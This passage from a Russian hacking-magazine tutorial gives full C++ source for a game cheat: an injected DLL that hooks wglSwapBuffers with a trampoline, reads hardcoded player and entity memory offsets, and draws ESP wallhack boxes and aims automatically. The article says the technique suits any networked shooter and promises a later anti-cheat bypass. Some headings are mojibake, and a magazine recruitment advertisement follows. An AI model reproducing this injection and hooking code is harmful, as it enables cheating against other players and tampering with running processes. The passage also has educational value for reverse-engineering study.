                       float azimuth_xy = atan2f(abspos_y, abspos_x);

                   // Переводим в градусы
                          float yaw = (float)(azimuth_xy * (180.0 / M_PI));

                   // Добавляем 90, так как игра предполагает, что 
прямой север равен 90 градусам

                       closest_yaw = yaw + 90;

                   // Рассчитываем тангаж
                   // Поскольку значения Z настолько ограничены, 
выбирай большее значение между X и Y, чтобы убедиться, что мы не 
смотрим прямо в небо, когда находимся рядом с врагом

                       if (abspos_y < 0) {
                         abspos_y *= -1;

                   }
                       if (abspos_y < 5) {

                           if (abspos_x < 0) {
                             abspos_x *= -1;

                       }
                         abspos_y = abspos_x;

                   }
                       float azimuth_z = atan2f(abspos_z, abspos_y);

                   // Преобразовываем значение в градусы
                         closest_pitch = (float)(azimuth_z * (180.0 / M_PI

));
               }

           }

           // Когда наш цикл завершится, устанавливаем для рысканья 
и тангажа самые близкие значения

             player->yaw_pitch_roll.x = closest_yaw;
             player->yaw_pitch_roll.y = closest_pitch;

       }
        else {

             list_size = *player_list_size;
       }
   }

   // Вызов перехваченной функции
      BOOL ret_value = ((twglSwapBuffers)esp_hook->get_gateway())(hDc);

   hook_mutex.unlock();

    return ret_value;
}

    DWORD WINAPI injected_thread(HMODULE hMod) {

   // Получить адрес, по которому .exe был загружен внутри нашего 
игрового процесса
      uintptr_t moduleBase = (uintptr_t)GetModuleHandle(0);
   // Где находится указатель на нашего игрока
       player = *reinterpret_cast<Player**>(moduleBase + player_offset);
   // Указатель на список игроков
       player_list = *reinterpret_cast<Player***>(moduleBase +
entity_offset);
   // Указатель на размер списка игроков
       player_list_size = reinterpret_cast<int*>(moduleBase +
entity_count_offset);
   // Указатель на матрицу вида
       view_matrix = reinterpret_cast<float*>(moduleBase +
view_matrix_offset);

   // Получить дескриптор модуля OpenGL
      HMODULE open_gl = GetModuleHandleA("opengl32.dll");

     if (!open_gl) {
         return -1; // OpenGL не загружен

   }

   // Получить адрес wglSwapBuffers
       void* orig_wglSwapBuffers = GetProcAddress(open_gl,
"wglSwapBuffers");

   // Установка хука на wglSwapBuffers
       

 
esp_hook = new Tramp_Hook(orig_wglSwapBuffers,

hooked_wglSwapBuffers, 5);

     while (!GetAsyncKeyState(VK_F3)) {
            if (GetAsyncKeyState(VK_F1) & 1) { // Включить ESP

               esp_hook->is_enabled() ? esp_hook->disable() : esp_hook->
enable();
       }

            if (GetAsyncKeyState(VK_F2) & 1) { // Включить aimbot
             aimbot_enabled = !aimbot_enabled;

       }
       Sleep(50);
   }

   hook_mutex.lock();
   // Удаление хука
    delete esp_hook;
   hook_mutex.unlock();

   // Извлечение нашей библиотеки
    FreeLibraryAndExitThread(hMod, 0);
    return 0;
}

      
  

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call,
LPVOID lpReserved) {
     switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:

   
  

       CreateThread(0, 0, (LPTHREAD_START_ROUTINE)injected_thread,
hModule, 0, 0);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
       break;
   }
    return TRUE;
}

Ìîäóëü ñìåùåíèé â èãðå è èãðîâûõ ñòðóêòóð
Этот модуль содер жит все нуж ные нам поля игро ка, а так же сме щения.

#pragma once
#include "gl_draw.h"

  class Player {
public:
     DWORD* vftable; // 0x00
     Vector3 x_y_z_head; // 0x04
     BYTE pad_0010[24]; // 0x10
     Vector3 x_y_z_player; // 0x28
     Vector3 yaw_pitch_roll; // 0x34
     BYTE pad_0040[172]; // 0x40
     DWORD hp; // 0xEC
     DWORD armor; // 0xF0
     BYTE pad_00F4[273]; // 0xF4
     BYTE name[16]; // 0x205
     BYTE pad_0215[247]; // 0x215
     BYTE team; // 0x30C
};

   DWORD player_offset = 0x018AC00;
   DWORD entity_offset = 0x018AC04;
   DWORD entity_count_offset = 0x018AC0C;
   DWORD view_matrix_offset = 0x17DFD0;

Ìîäóëü õóêîâ
Это модуль, в котором будет перех ватывать ся фун кция ,
отве чающая за отри сов ку сцен. Это необ ходимо для того, что бы рисовать
наше меню и бок сы ESP.

wglSwapBuffers

hook.h
#pragma once
#include <windows.h>
#include <memory>

// Класс перехватчика
  class Hook {

   // Указатель на перехватчик
    void* this_to_hook;
   // Сохраненные старые опкоды
    std::unique_ptr<char[]> old_opcodes;
   // Длина перезаписанных инструкций
    int this_len;
   // Включен ли перехватчик
    bool enabled;
public:
   // Конструктор для перехватчика
        Hook(void* to_hook, void* our_func, int len);
   // Деструктор для восстановления исходного кода
   ~Hook();
   // Включить перехватчик
    void enable();
   // Отключить перехватчик
    void disable();
   // Включен ли перехватчик
    bool is_enabled();
};

// Класс для реализации инлайн-перехватчика
  class Tramp_Hook {

    void* gateway;
    Hook* managed_hook;
public:
        Tramp_Hook(void* to_hook, void* our_func, int len);
   // Восстанавливает исходный код
   ~Tramp_Hook();
    void enable();
    void disable();
    bool is_enabled();
    void* get_gateway();
};

Продолжение статьи →



ЧИТ 

СВОИМИ 

РУКАМИ
СМОТРИМ СКВОЗЬ СТЕНЫ И ДЕЛАЕМ

АВТОПРИЦЕЛИВАНИЕ ДЛЯ 3D-ШУТЕРА

КОДИНГ  НАЧАЛО СТАТЬИ←

hook.cpp
#include "hook.h"

       
           

Hook::Hook(void* to_hook, void* our_func, int len) : this_to_hook{
to_hook }, old_opcodes{ nullptr }, this_len{ len }, enabled{ false }
{
   // Инструкция jmp имеет размер 5 байт. Место, которое мы 
перезаписываем, должно быть как минимум такого размера
       if (len < 5) {
       return;
   }

    DWORD curr_protection;
   // Сделать доступной для записи память с кодом, который мы хотим 
перезаписать
      VirtualProtect(to_hook, len, PAGE_EXECUTE_READWRITE, &
curr_protection);

   // Сохранить текущие байты в массив символов
     old_opcodes = std::make_unique<char[]>(len);
       if (old_opcodes != nullptr) {

                for (int i = 0; i < len; ++i) {
             old_opcodes[i] = ((char*)to_hook)[i];

       }
   }

   // Перезапишем место, которое хотим перехватить, инструкциями nop
     memset(to_hook, 0x90, len);

   // Вычислить относительный адрес для перехода
          DWORD rva_addr = ((DWORD)our_func - (DWORD)to_hook) - 5;

   // Поместить опкод для инструкции jmp
     *(BYTE*)to_hook = 0xE9;
   // Поместить адрес для перехода
       *(DWORD*)((DWORD)to_hook + 1) = rva_addr;

   // Восстановить старую защиту кода
      VirtualProtect(to_hook, len, curr_protection, &curr_protection);
}

 Hook::~Hook() {
       if (old_opcodes != nullptr) {

        DWORD curr_protection;
       // Сделать память доступной для записи

  
 
       VirtualProtect(this_to_hook, this_len, PAGE_EXECUTE_READWRITE
, &curr_protection);
       // Записать старые опкоды обратно в перехваченное место

                for (int i = 0; i < this_len; ++i) {
             ((char*)this_to_hook)[i] = Hook::old_opcodes[i];

       }
       // Восстановить старую защиту памяти

          VirtualProtect(this_to_hook, this_len, curr_protection, &
curr_protection);
   }
}

  void Hook::enable() {
     this->enabled = true;
}

  void Hook::disable() {
     this->enabled = false;
}

  bool Hook::is_enabled() {
    return enabled;
}

       
      

Tramp_Hook::Tramp_Hook(void* to_hook, void* our_func, int len) :
gateway{ nullptr }, managed_hook{ nullptr } {

   // jmp имеет размер 5 байт
       if (len < 5) {
       return;
   }

   // Выделяем память для нашего трамплина
            gateway = VirtualAlloc(0, len + 5, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);

   // Сохранение байтов, которые мы будем перезаписывать в трамплин
      memcpy_s(gateway, len, to_hook, len);

   // Получить адрес возврата
          uintptr_t ret_addr = (BYTE*)to_hook - (BYTE*)gateway - 5;

   // Разместить опкод jmp в конец трамплина
       *(BYTE*)((uintptr_t)gateway + len) = 0xE9;

   // Разместить адрес возврата после jmp
         *(uintptr_t*)((uintptr_t)gateway + len + 1) = ret_addr;

   // Создание перехватчика
        managed_hook = new Hook(to_hook, our_func, len);
}

 Tramp_Hook::~Tramp_Hook() {
   managed_hook->disable();
    delete managed_hook;
     VirtualFree(gateway, 0, MEM_RELEASE);
}

  void Tramp_Hook::enable() {
   managed_hook->enable();
}

  void Tramp_Hook::disable() {
   managed_hook->disable();
}

  bool Tramp_Hook::is_enabled() {
    return managed_hook->is_enabled();
}

  void* Tramp_Hook::get_gateway() {
    return gateway;
}

Ìîäóëü ðèñîâàíèÿ
Здесь у нас фун кции для непос редс твен ной отри сов ки меню и бок сов ESP.

gl_draw.h
#pragma once
#pragma comment(lib, "OpenGL32.lib")
#include <windows.h>
#include<gl/GL.h>

  struct Vector3 {
      float x, y, z;
};

  struct Vector4 {
       float x, y, z, w;
};

// Пространство имен цветов для рисования
  namespace rgb {

         const GLubyte red[3] = { 255,0,0 };
         const GLubyte green[3] = { 0,255,0 };
         const GLubyte blue[3] = { 0,0,255 };
         const GLubyte gray[3] = { 55,55,55 };
         const GLubyte light_gray[3] = { 192,192,192 };
           const GLubyte yellow[3] = { 255, 255, 0 };
         const GLubyte black[3] = { 0,0,0 };
}

// Пространство имен функций для отрисовки меню и ESP-хака
  namespace GL {

    void setup_orthographic();
    void restore_gl();
    void build_font();
           

   
void draw_filled_rectangle(float x, float y, float width, float

height, const GLubyte color[3]);
            

    
void draw_out_line(float x, float y, float width, float height,

float line_width, const GLubyte color[3]);
            

    
void draw_line(float fromX, float fromY, float toX, float toY,

float line_width, const GLubyte color[3]);
           

          
    

void draw_esp_box(float pos_x, float pos_y, float distance, const
GLubyte color[3], const BYTE* text, const int health_percent = -1,
const int armor_percent = -1);
            

  
void print_gl(float x, float y, const GLubyte color[3], const

char* fmt, ...);
         bool world_to_screen(Vector3 pos, Vector3& screen, float matrix[
16]);
}

gl_draw.cpp
#include "gl_draw.h"
#include <corecrt_math.h>
#include <stdio.h>

     HDC h_DC;
   HFONT h_old_font;
   HFONT h_font;

    UINT font_base;
      bool b_font_build = 0;

  void GL::setup_orthographic() {
   // Cохранение атрибутов
   glPushAttrib(GL_ALL_ATTRIB_BITS);
   // Сохранение матрицы вида
   glPushMatrix();
   // Размеры экрана
    GLint view_port[4];
   // Получение размеров экрана
    glGetIntegerv(GL_VIEWPORT, view_port);
   // Установка размера экрана
      glViewport(0, 0, view_port[2], view_port[3]);
   glMatrixMode(GL_PROJECTION);
   glLoadIdentity();

   // Настройка орфографического режима
        glOrtho(0, view_port[2], view_port[3], 0, -1, 1);
   glMatrixMode(GL_MODELVIEW);
   glLoadIdentity();
   // Отключение проверки глубины
   glDisable(GL_DEPTH_TEST);
}

  void GL::restore_gl() {
   // Восстановление матрицы вида
   glPopMatrix();
   // Восстановление всех атрибутов
   glPopAttrib();
}

        
    

void GL::draw_filled_rectangle(float x, float y, float width, float
height, const GLubyte color[3]) {
     glColor3ub(color[0], color[1], color[2]);
   glBegin(GL_QUADS);
    glVertex2f(x, y);
      glVertex2f(x + width, y);
        glVertex2f(x + width, y + height);
      glVertex2f(x, y + height);
   glEnd();
}

         
     

void GL::draw_out_line(float x, float y, float width, float height,
float line_width, const GLubyte color[3]) {
   glLineWidth(line_width);
   glBegin(GL_LINE_STRIP);
     glColor3ub(color[0], color[1], color[2]);
        glVertex2f(x - 0.5f, y - 0.5f);
          glVertex2f(x + width + 0.5f, y - 0.5f);
            glVertex2f(x + width + 0.5f, y + height + 0.5f);
          glVertex2f(x - 0.5f, y + height + 0.5f);
        glVertex2f(x - 0.5f, y - 0.5f);
   glEnd();
}

         
     

void GL::draw_line(float fromX, float fromY, float toX, float toY,
float line_width, const GLubyte color[3]) {
   glLineWidth(line_width);
   glBegin(GL_LINES);
     glColor3ub(color[0], color[1], color[2]);
    glVertex2f(fromX, fromY);
    glVertex2f(toX, toY);
   glEnd();
}

 void GL::build_font()
{
     h_DC = wglGetCurrentDC();

     font_base = glGenLists(96);
             

    
   

h_font = CreateFont(-12, 0, 0, 0, FW_NORMAL, FALSE, FALSE, FALSE,
ANSI_CHARSET, OUT_TT_PRECIS, CLIP_DEFAULT_PRECIS, PROOF_QUALITY,
FF_DONTCARE | DEFAULT_PITCH, L"Courier");
      h_old_font = (HFONT)SelectObject(h_DC, h_font);
      wglUseFontBitmaps(h_DC, 32, 96, font_base);
    SelectObject(h_DC, h_old_font);
   DeleteObject(h_font);

     b_font_build = true;
}

         
  

void GL::print_gl(float x, float y, const GLubyte color[3], const
char* fmt, ...)
{
     if (!b_font_build) {
       GL::build_font();
   }

       if (fmt == NULL) {
       return;
   }

     glColor3f(color[0], color[1], color[2]);

    glRasterPos2i(x, y);

   char        text[256];
        va_list ap;

    va_start(ap, fmt);
     vsprintf(text, fmt, ap);
   va_end(ap);

   glPushAttrib(GL_LIST_BIT);
     glListBase(font_base - 32);
     glCallLists(strlen(text), GL_UNSIGNED_BYTE, text);
   glPopAttrib();
}

        
          

 

void GL::draw_esp_box(float pos_x, float pos_y, float distance, const
GLubyte color[3], const BYTE* text, const int health, const int armor
) {
       float line_width = 0.5f; // Толщина линии
    GLint view_port[4];
    glGetIntegerv(GL_VIEWPORT, view_port);

           float height = (view_port[3] / distance) * 3; // Высота бокса
         float width = (view_port[2] / distance); // Ширина бокса

   // Snap lines
        

    
GL::draw_line(view_port[2] / 2.0f, (float)view_port[3], pos_x,

pos_y, line_width + 2.0f, rgb::black);
        

  
GL::draw_line(view_port[2] / 2.0f, (float)view_port[3], pos_x,

pos_y, line_width, color);

   // Очертания
            

    
GL::draw_out_line(pos_x - (width / 2), pos_y - height, width,

height, line_width + 2.0f, rgb::black);
            

  
GL::draw_out_line(pos_x - (width / 2), pos_y - height, width,

height, line_width, color);

   // Здоровье
       if (health != -1) {

            float perc = (width / 100);
            float curr = perc * health;

         
               

       GL::draw_filled_rectangle(pos_x - (width / 2) - 1, ((pos_y -
(height / 10)) - 1) - height, width + 2, (height / 15) + 2, rgb::
black);

       
         

       GL::draw_filled_rectangle(pos_x - (width / 2), (pos_y - (
height / 10)) - height, width, height / 15, rgb::light_gray);

      
     

       GLubyte Hcolor[3]{ static_cast<GLubyte>(255 - (2.5f * health
)), static_cast<GLubyte>(health * 2.5f), 0 };

       
         

       GL::draw_filled_rectangle(pos_x - (width / 2), (pos_y - (
height / 10)) - height, curr, height / 15, Hcolor);
   }

   // Броня
       if (armor != -1) {

            float perc = (width / 100);
            float curr = perc * armor;

         
               

       GL::draw_filled_rectangle(pos_x - (width / 2) - 1, ((pos_y -
(height / 5)) - 1) - height, width + 2, (height / 15) + 2, rgb::black
);

       
         

       GL::draw_filled_rectangle(pos_x - (width / 2), (pos_y - (
height / 5)) - height, width, height / 15, rgb::light_gray);

       
         

       GL::draw_filled_rectangle(pos_x - (width / 2), (pos_y - (
height / 5)) - height, curr, height / 15, rgb::blue);
   }

   // Имя
              
  

GL::print_gl(pos_x - (width / 2), (pos_y - (height / 4)) - height
, rgb::yellow,(char *)text);
}

      
 

bool GL::world_to_screen(Vector3 pos, Vector3& screen, float matrix[
16]) {

   // Получение ширины и высоты экрана
    GLint view_port[4];
    glGetIntegerv(GL_VIEWPORT, view_port);
      int window_width = view_port[2];
      int window_height = view_port[3];

   // Матрично-векторный результат, умножающий мировые (глазные) 
координаты на проекционную матрицу (clip_coords)
    Vector4 clip_coords;
               

  
clip_coords.x = pos.x * matrix[0] + pos.y * matrix[4] + pos.z *

matrix[8] + matrix[12];
               

  
clip_coords.y = pos.x * matrix[1] + pos.y * matrix[5] + pos.z *

matrix[9] + matrix[13];
               

  
clip_coords.z = pos.x * matrix[2] + pos.y * matrix[6] + pos.z *

matrix[10] + matrix[14];
               

  
clip_coords.w = pos.x * matrix[3] + pos.y * matrix[7] + pos.z *

matrix[11] + matrix[15];

   // Если координаты не на экране
       if (clip_coords.w < 0.1f) {

        return false;
   }

   // Перспективное деление, деление на clip.W, то есть 
нормализованные координаты устройства
    Vector3 NDC;
       NDC.x = clip_coords.x / clip_coords.w;
       NDC.y = clip_coords.y / clip_coords.w;
       NDC.z = clip_coords.z / clip_coords.w;

   // Преобразование в координаты экрана
               screen.x = (window_width / 2 * NDC.x) + (NDC.x + window_width / 2
);
              
 

screen.y = -(window_height / 2 * NDC.y) + (NDC.y + window_height
/ 2);
    return true;
}

ÏÐÎÂÅÐÊÀ ÐÀÁÎÒÎÑÏÎÑÎÁÍÎÑÒÈ

Для начала запус тим наш чит.

Ме ню чита

Для акти вации ESP-хака жмем F1, для деак тивации — F2.

Про вер ка работос пособ ности ESP

Для акти вации aimbot жмем F2 и, что бы он зарабо тал, зажима ем пра вую
кноп ку мыши. Для деак тивации хака жмем F2.

Про вер ка работос пособ ности aimbot

ÂÛÂÎÄÛ

Мы научи лись искать с помощью Cheat Engine не толь ко поля клас са игро ка,
но и сам класс игро ка, а так же спи сок игро ков, их количес тво и мат рицу вида.
Сде лали базовые хаки для любых сетевых шутеров. И приб лизились к поч ти
пол ноцен ному читу. В конеч ной фор ме он будет еще вклю чать в себя обход
анти чита, но об этом погово рим в дру гой раз.



СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции
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